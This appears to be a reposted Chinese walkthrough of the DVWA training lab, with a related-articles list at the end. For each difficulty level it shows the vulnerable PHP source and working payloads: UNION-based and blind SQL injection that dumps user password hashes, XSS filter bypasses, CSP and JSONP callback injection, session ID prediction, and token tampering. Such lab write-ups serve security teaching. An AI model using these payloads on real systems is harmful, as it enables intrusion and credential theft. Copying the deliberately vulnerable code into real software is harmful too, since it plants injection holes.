&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'

一个是http的user_agent头,一个是自己在后面加的参数。

源代码:

​
<?php
​
if( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true;
​// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];
​// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);
​if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){// CAPTCHA was correct. Do both new passwords match?if ($pass_new == $pass_conf) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );
​// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​// Feedback for userecho "<pre>Password Changed.</pre>";
​} else {// Ops. Password mismatch$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}
​} else {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

Impossible

源代码:

​
<?php
​
if( isset( $_POST[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Hide the CAPTCHA form$hide_form = true;
​// Get input$pass_new  = $_POST[ 'password_new' ];$pass_new  = stripslashes( $pass_new );$pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new  = md5( $pass_new );
​$pass_conf = $_POST[ 'password_conf' ];$pass_conf = stripslashes( $pass_conf );$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_conf = md5( $pass_conf );
​$pass_curr = $_POST[ 'password_current' ];$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );
​// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);
​// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectlyecho "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;}else {// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();
​// Do both new password match and was the current password correct?if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {// Update the database$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();
​// Feedback for the end user - success!echo "<pre>Password Changed.</pre>";}else {// Feedback for the end user - failed!echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";$hide_form = false;}}
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

需要知道原密码,在不知道原密码的情况下,无法攻击成功。

SQL Injection

Low

这里是没有任何防护的sql注入。

如果在注入过程中出现Illegal mix of collations for operation ‘UNION‘报错,可以参考这篇文章

首先输入1+1,发现id显示为1+1,并没有运算,可以判断是字符型,输入1'发现有报错信息,说明存在注入。

判断列数:1’ order by 2 # 1' order by 3 # 据此判断,有两列。

判断显示位:1' union select 1,2 #

获取数据库名:1' union select 1,database() #

获取表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

获取列名:1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取数据:1' union select password,user from users #

源代码:

​
<?php
​
if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];
​// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];
​// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}
​mysqli_close($GLOBALS["___mysqli_ston"]);
}
​
?>

Medium

这个级别的只允许用户选择,使用BP抓包处理。然后进行修改。

判断列数:1 order by 2 # 1 order by 3 # 据此判断,有两列。

判断显示位:1 union select 1,2 #

获取数据库名:1 union select 1,database() #

获取表名:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

获取列名:1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取数据:1 union select password,user from users #

源代码:

​
<?php
​
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];
​$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
​$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
​// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last  = $row["last_name"];
​// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}
​
}
​
// This is used later on in the index.php page
//在这里进行设置,以便我们能够像其他源代码脚本一样在这里关闭数据库连接。
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
​
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

High

这关点击会跳转页面,然后进行注入即可,回显在原页面上。

判断列数:1’ order by 2 # 1' order by 3 # 据此判断,有两列。

判断显示位:1' union select 1,2 #

获取数据库名:1' union select 1,database() #

获取表名:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

获取列名:1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

获取数据:1' union select password,user from users #

源代码:

​
<?php
​
if( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];
​// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
​// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];
​// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
​
?>

Impossible

源代码:设置了token值

​
<?php
​
if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$id = $_GET[ 'id' ];
​// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();
​// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];
​// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

SQL Injection (Blind)

Low

输入1和1'都正常执行

数据库名长度:1' and length(database())=x #(替换x看回显判断正确与否)

数据库名: 1' and ascii(substr(database(),1,1))=100 # (修改substr函数中第一个1改变截取位置,修改后面的100判断数据)可以使用BP进行暴力破解。

猜表的数量:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

猜表名的长度:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #

猜表名:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=x

列的情况一样。

源代码:

​
<?php
​
if( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];
​// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
​// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
​// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>

Medium

使用BP抓包,修改数据进行盲注,和上一个一样。

源代码:

​
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
​// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}
​//mysql_close();
}
​
?>

High

同样是盲注,点击后进行注入即可。

源代码:

​
<?php
​
if( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];
​// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
​// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}
​// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
​// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}
​((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>

Impossible

源代码:设置了token值

​
<?php
​
if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$id = $_GET[ 'id' ];
​// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();
​// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
​// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}}
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

Weak Session IDs(会话劫持)

Low

获取页面的session值,清除数据或者到别的浏览器登录,通过修改session值和使dvwaSession+1进行密码绕过登录。

源代码:

<?php
​
$html = "";
​
if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];//验证cookiesetcookie("dvwaSession", $cookie_value);
}
?> 

Medium

这一级别的dvwasession不是简单的次数,而是使用了时间戳,使用时间戳和session进行绕过。

时间戳:自协调世界时(UTC)的1970年1月1日00:00:00起至现在所经过的秒数。

源代码:

<?php
​
$html = "";
​
if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();//时间戳setcookie("dvwaSession", $cookie_value);
}
?> 

High

这次的dvwasession使用了MD5加密,明文会加1,然后使用MD5加密。

源代码:

<?php
​
$html = "";
​
if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id_high'])) {$_SESSION['last_session_id_high'] = 0;}$_SESSION['last_session_id_high']++;//明文+1$cookie_value = md5($_SESSION['last_session_id_high']);//MD5加密setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
​
?> 

Impossible

源代码:使用了随机的session id值。

<?php
​
$html = "";
​
if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = sha1(mt_rand() . time() . "Impossible");setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?> 

XSS (DOM)

Low

选择一个后在url中输入:<script>alert(1)</script>即可。

源代码:

<?php
​
# No protections, anything goes(没有保护,为所欲为)
​
?> 

Medium

查看页面源代码可以看见输入的数据在这里。需要进行闭合,输入:</select><img src=1 οnerrοr=alert(1)>

源代码:

<?php
​
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;}
}
​
?> 

High

使用了白名单,只能出现选项的单词,使用#可以进行注释。

输入:French#<script>alert(1)</script>,#后的数据不会被发送到服务端。

源代码:

<?php
​
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
​# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}
​
?> 

Impossible

源代码:

<?php
​
# Don't need to do anything, protction handled on the client side(不需要做任何事情,保护由客户端处理)
​
?> 

XSS (Reflected)

Low

没有保护,输入:<script>alert(1)</script>即可。

源代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
​
?> 

Medium

过滤了<script>,可以使用大小写绕过,输入:<sCript>alert(1)</script>

源代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );//过滤<script>
​// Feedback for end userecho "<pre>Hello ${name}</pre>";
}
​
?> 

High

使用preg_replace()函数进行正则过滤<script>标签,输入:<img src=1 οnerrοr=alert(1);>

源代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );//使用preg_replace()函数进行正则过滤<script>标签
​// Feedback for end userecho "<pre>Hello ${name}</pre>";
}
​
?> 

Impossible

源代码:

<?php
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$name = htmlspecialchars( $_GET[ 'name' ] );//html实体化
​// Feedback for end userecho "<pre>Hello ${name}</pre>";
}
​
// Generate Anti-CSRF token
generateSessionToken();//得到token
​
?> 

XSS (Stored)

Low

在留言处直接进行输入:<script>alert(1)</script>

源代码:

<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );
​// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​//mysql_close();
}
​
?> 

Medium

在留言处进行大小写绕过:<scripT>alert(1)</sCript>

源代码:

​
<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );
​// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );//html实体化
​// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​//mysql_close();
}
​
?>

High

过滤了<script>标签,输入:<img src=1 οnerrοr=alert(/name/)>

源代码:

​
<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );
​// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );
​// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​//mysql_close();
}
​
?>

Impossible

源代码:

​
<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );//有了token
​// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );
​// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );
​// Sanitize name input$name = stripslashes( $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$name = htmlspecialchars( $name );
​// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}
​
// Generate Anti-CSRF token
generateSessionToken();//获取token
​
?>

设置了token,并且对所有参数都做了严格过滤。

CSP Bypass

Low

打开网络可以发现一个信任的网站,打开网站,创建新的paste:alert("1"),创建完成后点击raw,复制url输入回去即可。

源代码:

<?php
​
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
​
header($headerCSP);
​
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
​
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script>        //POST传参
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" />
</form>
';

Medium

同样打开网络查看,输入:<script nonce='TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='>alert(11)</script>即可。

High

源代码:

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
​
header($headerCSP);
​
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form>
​
<script src="source/high.js"></script>
';

在high.php中设置了csp头,规定只允许从同源的脚本加载,提交表单的时候,如果存在POST形式的include参数,游览器执行clickbutton,动态创建<script>元素,将src属性设置为‘source/jsonp.php?callback=solveSum’(json.php是一个远程脚本的url),加载远程脚本,返回数据给solveSum,展示到页面。

POST输入:include=<script src="source/jsonp.php?callback=alert('1');"></script>

Impossible

源代码:

<?php
​
$headerCSP = "Content-Security-Policy: script-src 'self';";
​
header($headerCSP);
​
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form>
​
<script src="source/impossible.js"></script>
';

JavaScript

low

在phrase框里面进行输入:success,打开控制台,执行generate_token()函数,再点击submit即可。

在generate_token()函数中是进行了MD5和rot13的双重加密,先rot13,再MD5,也可以在控制台得到加密的数据,抓包修改即可。

Medium

输入ChangeMe抓包看到token为XXeMegnahCXX,猜测是将数据反写后前后加XX,修改success的token为:XXsseccusXX

修改成功。

源代码:

<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}

high

查看页面源代码可找到js代码,下图点开就是,使用js编译器,success运行代码,得到加密结果:ec7ef8687050b6fe803867ea696734c67b541dfafb286a0b1239f42ac5b0aa84,修改token即可。

Impossible


http://www.ppmy.cn/server/166690.html

相关文章

C++20新特性

作者&#xff1a;billy 版权声明&#xff1a;著作权归作者所有&#xff0c;商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处 前言 C20 是 C 标准中的一个重要版本&#xff0c;引入了许多新特性和改进&#xff0c;包括模块&#xff08;Modules&#xff09;、协程…

unity视频在场景中的使用

&#xff08;一&#xff09;软件操作在平面上显示视频播放 1.创建渲染器纹理 2.创建平面 3.在平面上添加Video player 4.视频拖拽到Video player 5.渲染模式选择渲染器纹理 6.把纹理拖到目标纹理上 7.把纹理拖到平面上就可以了 然后运行项目 8.结果 &#xff08;二&#…

Axios 的原理

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

【Vue】3.0利用远程仓库自定义项目脚手架

目录 介绍正文目标依赖实现运行 介绍 项目脚手架&#xff08;Project Scaffolding&#xff09;是一种用于快速生成项目基础结构的工具或模板&#xff0c;类似于建筑中的“脚手架”——为项目搭建一个标准化的初始框架&#xff0c;帮助开发者省去重复性配置工作&#xff0c;专注…

基于Ubuntu Ollama 部署 DeepSeek-R132B 聊天大模型(附带流式接口调用示例)

最近 DeepSeek出来了&#xff0c;很火&#xff0c;说是能跟ChatGpt o1 媲美&#xff0c;结果&#xff0c;用了DeepSeek的官方服务&#xff0c;提示“服务器繁忙 请稍后再试。”&#xff0c;我就想&#xff0c;算了&#xff0c;自己部署个吧。 我这个是基于docker部署的&#x…

通过 SQLAlchemy 实现多表映射

在使用 SQLAlchemy 进行多表映射时&#xff0c;我们可以使用 ORM&#xff08;对象关系映射&#xff09; 的方式将多个表与 Python 类进行映射。SQLAlchemy 提供了功能强大的机制&#xff0c;能够轻松地将数据库表和 Python 对象之间的关系建立起来。 1、问题背景 假设我们有一…

【大模型】DeepSeek与chatGPT的区别以及自身的优势

目录 一、前言二、核心技术对比2.1 模型架构设计2.1.1 ChatGPT的Transformer架构2.1.2 DeepSeek的混合架构 2.2 训练数据体系2.2.1 ChatGPT的数据特征2.2.2 DeepSeek的数据策略 三、应用场景对比3.1 通用场景表现3.1.1 ChatGPT的强项领域3.2.2 DeepSeek的专项突破 3.3 响应效率…

2025.2.9 每日学习记录2:技术报告写了一半+一点点读后感

0.近期主任务线 1.完成小论文准备 目标是3月份完成实验点1的全部实验和论文。 2.准备教资笔试 打算留个十多天左右&#xff0c;一次性备考笔试的三个科目 1.实习申请技术准备&#xff1a;微调、Agent、RAG 1.今日完成任务 1.电子斗蛐蛐&#xff08;文本书写领域&am…